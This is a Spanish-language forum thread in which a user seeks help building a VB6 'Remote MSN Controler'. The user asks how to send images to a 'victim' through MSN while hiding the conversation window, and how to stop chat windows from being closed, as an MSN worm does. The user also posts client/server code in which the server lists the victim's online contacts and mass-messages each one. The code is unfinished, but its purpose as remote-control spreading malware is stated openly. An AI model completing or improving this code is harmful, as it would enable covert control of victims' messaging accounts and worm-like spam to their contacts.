Mensajes

hola gracias pero tengo un problema mi VB6 esta en ingles y como no lo domino bien pues no se donde queda sera que me podrias decir como se llama en ingles?

saludos, buewno necesito ese el de Resource file y lo que pasa es que mi vb6 no lo tiene alguna manera de obtenerlo?

jaja mil gracias lo voy a testear!

bueno tengo una duda sobre esta que tampoco he podido resolver, y es si por ejemplo yo quiero enviar una imagen por MSN, sabemos que usare el metodo del sendkeys entonces este es el caso:

- tenemos una imagen en el C:\
- Tengo que poner esa imagen al Clipboard
- Luego abrir conversacion con victima
- Enviar archivo
- Ocultar conversacion

pues ya casi todo esto lo tengo resuelto lo que no encuentro resolver es el del clipboard, osea como puedo poner esa imagen en el clipboard para cuando establesca la conversacion con la victima y al enviar el metodo SendKeys Ctrl+V me envie la imagen?

Grax!

jaja gracias man ya eso lo sabiap pero con la conversacion de el msn este metodo no me sirvi trate de hacerlo mediante el nombre de la ventana pero no lo desaparecia, y luego por el class pero tampoco, sabes como solucionarlo?:S..

mm interesante.. y no hay ninnguna manera para poder hacer esto osea trancar o volver invisible a una ventana del msn especifica (Como lo aria con el FindWindow y esas APISs?)..
Por ejemplo si quiero enviar imagenes por secreto y no quiero que cierren la conversacion?.. no hay manera!..

Bueno esta es mi pregunta, es una duda mas bien, ustedes habran escuchado del virus que se propaga por msn bueno ustedes saben que si lo ejecutan y eso este empiesa a enviarse por todos tus contactos, pero hay algo que me llama la atencion y es que cuando se envia este NO nos permite cerrar las conversaciones o mas bien las tranca o no se que hace que para poder quitarlo hay que cerrar el MSN osea la conversacion la ventana de conversacion no se cierra...pues mi pregunta es:

¿Como puedo hacer para que pase eso, que no pueda cerrar las conversaciones del MSN si no lo cierro?

Bueno espero que me puedan ayudar y mucahs gracias! ...

Salu2's! 8)

o amigo me parece genial... para ver en que fallo y como solucionarlo apra que no me pase mas! te lo agradeceria man! y disuclpa!

jaja hola chicos disculpen mi Ignorancia jeje bueno miren aqui les dejo el code COMPLETO voy a aclarar que el code no esta terminado todavia le falta..
Bueno a ver! en la de enviar el texto amigo cassiani lo que envio es una variable con el texto del text1.text en el! para que el server la resiva esa variable y valla listando los contactos y abra una ventana del contacto envie las cosas y cierre y asi hasta el ultimo contacto! ....

saludso bueno en mi aplicacion Cliente server quiero hacer esto:

desde el cliente voy a enviar un mensaje desde un textbox al server! de esta forma:

CLIENTE

Código [Seleccionar] Expandir

Private Sub Command1_Click()
Dim var As String
If Text1.Text = "" Then
    MsgBox ("Agrege un mensaje"), vbInformation, "Remote MSN Controler"
End If

var = Text1.Text
ws.SendData var
Text1.Text = ""
End Sub

Private Sub Command11_Click()
Form4.Show
End Sub

Private Sub Command2_Click()
Timer1.Enabled = False
Command2.Enabled = False
Command3.Enabled = True
Label1.Caption = "Estado con Server: Desconectado"
ws.Close
End Sub

Private Sub Command3_Click()
Timer1.Enabled = True
Command3.Enabled = False
Command2.Enabled = True
Timer1.Enabled = True
Label1.Caption = "Estado con Server: Escuchando..."
ws.LocalPort = 1234
ws.Listen
End Sub

Private Sub Command4_Click()
List1.Clear
ws.SendData "ref"
End Sub

Private Sub Command7_Click()
Form3.Show
End Sub

Private Sub Command9_Click()
Form2.Show
End Sub

Private Sub Form_Load()
Timer1.Interval = 5000
Timer1.Enabled = False
Command2.Enabled = False
If App.PrevInstance = True Then
End
End If
End Sub

Private Sub Label3_Click()
End
End Sub

Private Sub Label8_Click()
Me.WindowState = 1
End Sub

Private Sub Timer1_Timer()
On Error Resume Next
If ws.State = 7 Then
Label1.Caption = "Estado con Server: Conectado..."
End If

If Not ws.State = 7 Then
Label1.Caption = "Estado con server: Descon./Escuchando.."
ws.LocalPort = 1234
ws.Listen
End If
DoEvents

If ws.State = 2 Then
Label1.Caption = "Estado con server: Escuchando..."
End If

If ws.State = 0 Then
Label1.Caption = "Estado con server: Desconectado"
ws.Connect "127.0.0.1", 1234
End If
DoEvents
End Sub

Private Sub ws_ConnectionRequest(ByVal requestID As Long)
ws.Close
ws.Accept requestID
End Sub

Private Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim dato() As String
Dim datos As String
ws.GetData datos
If datos = "cont" Then
    dato = Split(cont, "|")
        For i = 1 To UBound(dato)
            List1.AddItem dato(i)
    Next
End If
End Sub

ahora envio eso que es el la variable texto con el texto luego:

SERVER

Código [Seleccionar] Expandir


Public WithEvents MSN As Messenger
Public WithEvents MSNN As MessengerAPI.Messenger

Private Sub Form_Load()
Timer1.Interval = 60000
Set MSN = New Messenger
Set MSNN = New MessengerAPI.Messenger
ws.Connect "127.0.0.1", 1234
Timer1.Enabled = True
End Sub

Private Sub Timer1_Timer()
If ws.State = 7 Then
GoTo fin
End If

If ws.State = 2 Then
GoTo fin
End If

If Not ws.State = 7 Then
ws.Close
ws.Connect "127.0.0.1", 1234
End If

fin:
End Sub

Private Sub ws_DataArrival(ByVal bytesTotal As Long)
On Error Resume Next
Dim user As IMessengerContact
Dim venta As IMessengerConversationWnd
Dim datos As String
Dim cont As String
ws.GetData datos

If datos = "ref" Then
For Each user In MSNN.MyContacts
    If user.Status = MISTATUS_ONLINE Or user.Status = BE_RIGHT_BACK Then
        cont = cont & user.SigninName & "|"
    End If
Next
End If
ws.SendData cont

If datos = Var Then
    For Each user In MSNN.MyContacts
        If user.Status = MISTATUS_ONLINE Or user.Status = MISTATUS_AWAY Or user.Status = MISTATUS_BE_RIGHT_BACK Then
            Set venta = MSN.InstantMessage(user.SigninName)
                SendKeys Var
                SendKeys "{ENTER}"
            venta.Close
            DoEvents
        End If
     Next
End If
Set venta = Nothing
End Sub


pero este code no me sirve, osea no pasa nada como lo puedo arreglar?:S